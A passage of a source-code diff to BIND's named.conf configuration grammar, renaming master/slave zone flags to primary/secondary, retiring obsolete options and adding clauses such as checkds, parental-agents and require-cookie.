 	{ "dnstap", &cfg_type_dnstap, 0 },
@@ -2015,7 +2075,7 @@ static cfg_clausedef_t view_clauses[] = {
 	{ "filter-aaaa", &cfg_type_bracketed_aml, CFG_CLAUSEFLAG_ANCIENT },
 	{ "filter-aaaa-on-v4", &cfg_type_boolean, CFG_CLAUSEFLAG_ANCIENT },
 	{ "filter-aaaa-on-v6", &cfg_type_boolean, CFG_CLAUSEFLAG_ANCIENT },
-	{ "glue-cache", &cfg_type_boolean, CFG_CLAUSEFLAG_DEPRECATED },
+	{ "glue-cache", &cfg_type_boolean, CFG_CLAUSEFLAG_ANCIENT },
 	{ "ipv4only-enable", &cfg_type_boolean, 0 },
 	{ "ipv4only-contact", &cfg_type_astring, 0 },
 	{ "ipv4only-server", &cfg_type_astring, 0 },
@@ -2071,7 +2131,8 @@ static cfg_clausedef_t view_clauses[] = {
 	{ "response-padding", &cfg_type_resppadding, 0 },
 	{ "response-policy", &cfg_type_rpz, 0 },
 	{ "rfc2308-type1", NULL, CFG_CLAUSEFLAG_ANCIENT },
-	{ "root-delegation-only", &cfg_type_optional_exclude, 0 },
+	{ "root-delegation-only", &cfg_type_optional_exclude,
+	  CFG_CLAUSEFLAG_ANCIENT },
 	{ "root-key-sentinel", &cfg_type_boolean, 0 },
 	{ "rrset-order", &cfg_type_rrsetorder, 0 },
 	{ "send-cookie", &cfg_type_boolean, 0 },
@@ -2084,7 +2145,7 @@ static cfg_clausedef_t view_clauses[] = {
 	{ "stale-cache-enable", &cfg_type_boolean, 0 },
 	{ "stale-refresh-time", &cfg_type_duration, 0 },
 	{ "suppress-initial-notify", &cfg_type_boolean,
-	  CFG_CLAUSEFLAG_OBSOLETE },
+	  CFG_CLAUSEFLAG_ANCIENT },
 	{ "synth-from-dnssec", &cfg_type_boolean, 0 },
 	{ "topology", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "transfer-format", &cfg_type_transferformat, 0 },
@@ -2122,18 +2183,39 @@ static cfg_type_t cfg_type_validityinterval = {
 	cfg_doc_tuple,	    &cfg_rep_tuple,  validityinterval_fields
 };
 
+/*%
+ * Checkds type.
+ */
+static const char *checkds_enums[] = { "explicit", NULL };
+static isc_result_t
+parse_checkds_type(cfg_parser_t *pctx, const cfg_type_t *type,
+		   cfg_obj_t **ret) {
+	return (cfg_parse_enum_or_other(pctx, type, &cfg_type_boolean, ret));
+}
+static void
+doc_checkds_type(cfg_printer_t *pctx, const cfg_type_t *type) {
+	cfg_doc_enum_or_other(pctx, type, &cfg_type_boolean);
+}
+static cfg_type_t cfg_type_checkdstype = {
+	"checkdstype",	  parse_checkds_type, cfg_print_ustring,
+	doc_checkds_type, &cfg_rep_string,    checkds_enums,
+};
+
 /*%
  * Clauses that can be found in a 'dnssec-policy' statement.
  */
 static cfg_clausedef_t dnssecpolicy_clauses[] = {
+	{ "cdnskey", &cfg_type_boolean, 0 },
+	{ "cds-digest-types", &cfg_type_algorithmlist, 0 },
 	{ "dnskey-ttl", &cfg_type_duration, 0 },
+	{ "inline-signing", &cfg_type_boolean, 0 },
 	{ "keys", &cfg_type_kaspkeys, 0 },
 	{ "max-zone-ttl", &cfg_type_duration, 0 },
 	{ "nsec3param", &cfg_type_nsec3, 0 },
 	{ "parent-ds-ttl", &cfg_type_duration, 0 },
 	{ "parent-propagation-delay", &cfg_type_duration, 0 },
 	{ "parent-registration-delay", &cfg_type_duration,
-	  CFG_CLAUSEFLAG_OBSOLETE },
+	  CFG_CLAUSEFLAG_ANCIENT },
 	{ "publish-safety", &cfg_type_duration, 0 },
 	{ "purge-keys", &cfg_type_duration, 0 },
 	{ "retire-safety", &cfg_type_duration, 0 },
@@ -2151,131 +2233,149 @@ static cfg_clausedef_t dnssecpolicy_clauses[] = {
  * Note: CFG_ZONE_* options indicate in which zone types this clause is
  * legal.
  */
+/*
+ * NOTE: To enable syntax which allows specifying port and protocol
+ * within 'allow-*' clauses, replace 'cfg_type_bracketed_aml' with
+ * 'cfg_type_transport_acl'.
+ *
+ * Example: allow-transfer port 853 protocol tls { ... };
+ */
 static cfg_clausedef_t zone_clauses[] = {
 	{ "allow-notify", &cfg_type_bracketed_aml,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "allow-query", &cfg_type_bracketed_aml,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_REDIRECT | CFG_ZONE_STATICSTUB },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_REDIRECT | CFG_ZONE_STATICSTUB },
 	{ "allow-query-on", &cfg_type_bracketed_aml,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_REDIRECT | CFG_ZONE_STATICSTUB },
-	{ "allow-transfer", &cfg_type_bracketed_aml,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
-	{ "allow-update", &cfg_type_bracketed_aml, CFG_ZONE_MASTER },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_REDIRECT | CFG_ZONE_STATICSTUB },
+	{ "allow-transfer", &cfg_type_transport_acl,
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
+	{ "allow-update", &cfg_type_bracketed_aml, CFG_ZONE_PRIMARY },
 	{ "allow-update-forwarding", &cfg_type_bracketed_aml,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "also-notify", &cfg_type_namesockaddrkeylist,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "alt-transfer-source", &cfg_type_sockaddr4wild,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_CLAUSEFLAG_ANCIENT },
 	{ "alt-transfer-source-v6", &cfg_type_sockaddr6wild,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_CLAUSEFLAG_ANCIENT },
 	{ "auto-dnssec", &cfg_type_autodnssec,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
-	{ "check-dup-records", &cfg_type_checkmode, CFG_ZONE_MASTER },
-	{ "check-integrity", &cfg_type_boolean, CFG_ZONE_MASTER },
-	{ "check-mx", &cfg_type_checkmode, CFG_ZONE_MASTER },
-	{ "check-mx-cname", &cfg_type_checkmode, CFG_ZONE_MASTER },
-	{ "check-sibling", &cfg_type_boolean, CFG_ZONE_MASTER },
-	{ "check-spf", &cfg_type_warn, CFG_ZONE_MASTER },
-	{ "check-srv-cname", &cfg_type_checkmode, CFG_ZONE_MASTER },
-	{ "check-wildcard", &cfg_type_boolean, CFG_ZONE_MASTER },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_CLAUSEFLAG_ANCIENT },
+	{ "check-dup-records", &cfg_type_checkmode, CFG_ZONE_PRIMARY },
+	{ "check-integrity", &cfg_type_boolean, CFG_ZONE_PRIMARY },
+	{ "check-mx", &cfg_type_checkmode, CFG_ZONE_PRIMARY },
+	{ "check-mx-cname", &cfg_type_checkmode, CFG_ZONE_PRIMARY },
+	{ "check-sibling", &cfg_type_boolean, CFG_ZONE_PRIMARY },
+	{ "check-spf", &cfg_type_warn, CFG_ZONE_PRIMARY },
+	{ "check-srv-cname", &cfg_type_checkmode, CFG_ZONE_PRIMARY },
+	{ "check-svcb", &cfg_type_boolean, CFG_ZONE_PRIMARY },
+	{ "check-wildcard", &cfg_type_boolean, CFG_ZONE_PRIMARY },
 	{ "dialup", &cfg_type_dialuptype,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_STUB },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_STUB |
+		  CFG_CLAUSEFLAG_DEPRECATED },
 	{ "dnssec-dnskey-kskonly", &cfg_type_boolean,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_CLAUSEFLAG_OBSOLETE },
 	{ "dnssec-loadkeys-interval", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "dnssec-policy", &cfg_type_astring,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
-	{ "dnssec-secure-to-insecure", &cfg_type_boolean, CFG_ZONE_MASTER },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
+	{ "dnssec-secure-to-insecure", &cfg_type_boolean,
+	  CFG_ZONE_PRIMARY | CFG_CLAUSEFLAG_OBSOLETE },
 	{ "dnssec-update-mode", &cfg_type_dnssecupdatemode,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_CLAUSEFLAG_OBSOLETE },
 	{ "forward", &cfg_type_forwardtype,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_STUB |
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_STUB |
 		  CFG_ZONE_STATICSTUB | CFG_ZONE_FORWARD },
 	{ "forwarders", &cfg_type_portiplist,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_STUB |
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_STUB |
 		  CFG_ZONE_STATICSTUB | CFG_ZONE_FORWARD },
 	{ "key-directory", &cfg_type_qstring,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "maintain-ixfr-base", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "masterfile-format", &cfg_type_masterformat,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_REDIRECT },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_REDIRECT },
 	{ "masterfile-style", &cfg_type_masterstyle,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_REDIRECT },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_REDIRECT },
 	{ "max-ixfr-log-size", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "max-ixfr-ratio", &cfg_type_ixfrratio,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "max-journal-size", &cfg_type_size,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "max-records", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_STATICSTUB | CFG_ZONE_REDIRECT },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_STATICSTUB | CFG_ZONE_REDIRECT },
 	{ "max-refresh-time", &cfg_type_uint32,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "max-retry-time", &cfg_type_uint32,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "max-transfer-idle-in", &cfg_type_uint32,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "max-transfer-idle-out", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_MIRROR | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_MIRROR | CFG_ZONE_SECONDARY },
 	{ "max-transfer-time-in", &cfg_type_uint32,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "max-transfer-time-out", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_MIRROR | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_MIRROR | CFG_ZONE_SECONDARY },
 	{ "max-zone-ttl", &cfg_type_maxduration,
-	  CFG_ZONE_MASTER | CFG_ZONE_REDIRECT },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_REDIRECT | CFG_CLAUSEFLAG_DEPRECATED },
 	{ "min-refresh-time", &cfg_type_uint32,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "min-retry-time", &cfg_type_uint32,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "multi-master", &cfg_type_boolean,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "notify", &cfg_type_notifytype,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "notify-delay", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "notify-source", &cfg_type_sockaddr4wild,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "notify-source-v6", &cfg_type_sockaddr6wild,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "notify-to-soa", &cfg_type_boolean,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "nsec3-test-zone", &cfg_type_boolean,
-	  CFG_CLAUSEFLAG_TESTONLY | CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_CLAUSEFLAG_TESTONLY | CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
+	{ "parental-source", &cfg_type_sockaddr4wild,
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
+	{ "parental-source-v6", &cfg_type_sockaddr6wild,
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "request-expire", &cfg_type_boolean,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
-	{ "request-ixfr", &cfg_type_boolean, CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
-	{ "serial-update-method", &cfg_type_updatemethod, CFG_ZONE_MASTER },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
+	{ "request-ixfr", &cfg_type_boolean,
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
+	{ "serial-update-method", &cfg_type_updatemethod, CFG_ZONE_PRIMARY },
 	{ "sig-signing-nodes", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "sig-signing-signatures", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "sig-signing-type", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "sig-validity-interval", &cfg_type_validityinterval,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_CLAUSEFLAG_OBSOLETE },
 	{ "dnskey-sig-validity", &cfg_type_uint32,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_CLAUSEFLAG_OBSOLETE },
 	{ "transfer-source", &cfg_type_sockaddr4wild,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "transfer-source-v6", &cfg_type_sockaddr6wild,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
 	{ "try-tcp-refresh", &cfg_type_boolean,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "update-check-ksk", &cfg_type_boolean,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_CLAUSEFLAG_OBSOLETE },
 	{ "use-alt-transfer-source", &cfg_type_boolean,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
+		  CFG_CLAUSEFLAG_ANCIENT },
 	{ "zero-no-soa-ttl", &cfg_type_boolean,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "zone-statistics", &cfg_type_zonestat,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_STATICSTUB | CFG_ZONE_REDIRECT },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_STATICSTUB | CFG_ZONE_REDIRECT },
 	{ NULL, NULL, 0 }
 };
 
@@ -2291,41 +2391,47 @@ static cfg_clausedef_t zone_only_clauses[] = {
 	 * the zone options and the global/view options.  Ugh.
 	 */
 	{ "type", &cfg_type_zonetype,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_STATICSTUB | CFG_ZONE_DELEGATION | CFG_ZONE_HINT |
-		  CFG_ZONE_REDIRECT | CFG_ZONE_FORWARD },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_STATICSTUB | CFG_ZONE_DELEGATION |
+		  CFG_ZONE_HINT | CFG_ZONE_REDIRECT | CFG_ZONE_FORWARD },
 	{ "check-names", &cfg_type_checkmode,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_HINT |
-		  CFG_ZONE_STUB },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_HINT | CFG_ZONE_STUB },
+	{ "checkds", &cfg_type_checkdstype,
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "database", &cfg_type_astring,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB },
 	{ "delegation-only", &cfg_type_boolean,
-	  CFG_ZONE_HINT | CFG_ZONE_STUB | CFG_ZONE_FORWARD },
+	  CFG_ZONE_HINT | CFG_ZONE_STUB | CFG_ZONE_FORWARD |
+		  CFG_CLAUSEFLAG_ANCIENT },
 	{ "dlz", &cfg_type_astring,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_REDIRECT },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_REDIRECT },
 	{ "file", &cfg_type_qstring,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_HINT | CFG_ZONE_REDIRECT },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR |
+		  CFG_ZONE_STUB | CFG_ZONE_HINT | CFG_ZONE_REDIRECT },
 	{ "in-view", &cfg_type_astring, CFG_ZONE_INVIEW },
 	{ "inline-signing", &cfg_type_boolean,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "ixfr-base", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "ixfr-from-differences", &cfg_type_boolean,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "ixfr-tmp-file", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "journal", &cfg_type_qstring,
-	  CFG_ZONE_MASTER | CFG_ZONE_SLAVE | CFG_ZONE_MIRROR },
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR },
 	{ "masters", &cfg_type_namesockaddrkeylist,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
-		  CFG_ZONE_REDIRECT },
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
+		  CFG_ZONE_REDIRECT | CFG_CLAUSEFLAG_NODOC },
+	{ "parental-agents", &cfg_type_namesockaddrkeylist,
+	  CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
 	{ "primaries", &cfg_type_namesockaddrkeylist,
-	  CFG_ZONE_SLAVE | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
+	  CFG_ZONE_SECONDARY | CFG_ZONE_MIRROR | CFG_ZONE_STUB |
 		  CFG_ZONE_REDIRECT },
 	{ "pubkey", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "server-addresses", &cfg_type_bracketed_netaddrlist,
 	  CFG_ZONE_STATICSTUB },
 	{ "server-names", &cfg_type_namelist, CFG_ZONE_STATICSTUB },
-	{ "update-policy", &cfg_type_updatepolicy, CFG_ZONE_MASTER },
+	{ "update-policy", &cfg_type_updatepolicy, CFG_ZONE_PRIMARY },
 	{ NULL, NULL, 0 }
 };
 
@@ -2334,17 +2440,15 @@ static cfg_clausedef_t zone_only_clauses[] = {
 static cfg_clausedef_t *namedconf_clausesets[] = { namedconf_clauses,
 						   namedconf_or_view_clauses,
 						   NULL };
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_namedconf = {
-	"namedconf",	 cfg_parse_mapbody, cfg_print_mapbody,
-	cfg_doc_mapbody, &cfg_rep_map,	    namedconf_clausesets
-};
+cfg_type_t cfg_type_namedconf = { "namedconf",	     cfg_parse_mapbody,
+				  cfg_print_mapbody, cfg_doc_mapbody,
+				  &cfg_rep_map,	     namedconf_clausesets };
 
 /*% The bind.keys syntax (trust-anchors/managed-keys/trusted-keys only). */
 static cfg_clausedef_t *bindkeys_clausesets[] = { bindkeys_clauses, NULL };
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_bindkeys = {
-	"bindkeys",	 cfg_parse_mapbody, cfg_print_mapbody,
-	cfg_doc_mapbody, &cfg_rep_map,	    bindkeys_clausesets
-};
+cfg_type_t cfg_type_bindkeys = { "bindkeys",	    cfg_parse_mapbody,
+				 cfg_print_mapbody, cfg_doc_mapbody,
+				 &cfg_rep_map,	    bindkeys_clausesets };
 
 /*% The "options" statement syntax. */
 
@@ -2369,15 +2473,13 @@ static cfg_type_t cfg_type_viewopts = { "view",	       cfg_parse_map,
 
 static cfg_clausedef_t *zone_clausesets[] = { zone_only_clauses, zone_clauses,
 					      NULL };
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_zoneopts = {
-	"zoneopts",  cfg_parse_map, cfg_print_map,
-	cfg_doc_map, &cfg_rep_map,  zone_clausesets
-};
+cfg_type_t cfg_type_zoneopts = { "zoneopts",  cfg_parse_map, cfg_print_map,
+				 cfg_doc_map, &cfg_rep_map,  zone_clausesets };
 
 /*% The "dnssec-policy" statement syntax. */
 static cfg_clausedef_t *dnssecpolicy_clausesets[] = { dnssecpolicy_clauses,
 						      NULL };
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_dnssecpolicyopts = {
+cfg_type_t cfg_type_dnssecpolicyopts = {
 	"dnssecpolicyopts", cfg_parse_map, cfg_print_map,
 	cfg_doc_map,	    &cfg_rep_map,  dnssecpolicy_clausesets
 };
@@ -2440,6 +2542,10 @@ static cfg_type_t cfg_type_key = { "key",	  cfg_parse_named_map,
 
 /*%
  * Clauses that can be found in a 'server' statement.
+ *
+ * Please update lib/isccfg/check.c and
+ * bin/tests/system/checkconf/good-server-christmas-tree.conf.in to
+ * exercise the new clause when adding new clauses.
  */
 static cfg_clausedef_t server_clauses[] = {
 	{ "bogus", &cfg_type_boolean, 0 },
@@ -2458,6 +2564,7 @@ static cfg_clausedef_t server_clauses[] = {
 	{ "request-ixfr", &cfg_type_boolean, 0 },
 	{ "request-nsid", &cfg_type_boolean, 0 },
 	{ "request-sit", NULL, CFG_CLAUSEFLAG_ANCIENT },
+	{ "require-cookie", &cfg_type_boolean, 0 },
 	{ "send-cookie", &cfg_type_boolean, 0 },
 	{ "support-ixfr", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "tcp-keepalive", &cfg_type_boolean, 0 },
@@ -2557,13 +2664,12 @@ static cfg_clausedef_t addzoneconf_clauses[] = {
 static cfg_clausedef_t *addzoneconf_clausesets[] = { addzoneconf_clauses,
 						     NULL };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_addzoneconf = {
-	"addzoneconf",	 cfg_parse_mapbody, cfg_print_mapbody,
-	cfg_doc_mapbody, &cfg_rep_map,	    addzoneconf_clausesets
-};
+cfg_type_t cfg_type_addzoneconf = { "addzoneconf",     cfg_parse_mapbody,
+				    cfg_print_mapbody, cfg_doc_mapbody,
+				    &cfg_rep_map,      addzoneconf_clausesets };
 
 static isc_result_t
-parse_unitstring(char *str, isc_resourcevalue_t *valuep) {
+parse_unitstring(char *str, uint64_t *valuep) {
 	char *endp;
 	unsigned int len;
 	uint64_t value;
@@ -2901,10 +3007,8 @@ static cfg_type_t cfg_type_ixfrdifftype = {
 
 static keyword_type_t key_kw = { "key", &cfg_type_astring };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_keyref = {
-	"keyref",     parse_keyvalue,  print_keyvalue,
-	doc_keyvalue, &cfg_rep_string, &key_kw
-};
+cfg_type_t cfg_type_keyref = { "keyref",     parse_keyvalue,  print_keyvalue,
+			       doc_keyvalue, &cfg_rep_string, &key_kw };
 
 static cfg_type_t cfg_type_optional_keyref = {
 	"optional_keyref",     parse_optional_keyvalue, print_keyvalue,
@@ -3085,10 +3189,9 @@ parse_querysource(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	cfg_obj_t *obj = NULL;
 	isc_netaddr_t netaddr;
 	in_port_t port = 0;
-	isc_dscp_t dscp = -1;
 	unsigned int have_address = 0;
 	unsigned int have_port = 0;
-	unsigned int have_dscp = 0;
+	unsigned int have_tls = 0;
 	const unsigned int *flagp = type->of;
 
 	if ((*flagp & CFG_ADDR_V4OK) != 0) {
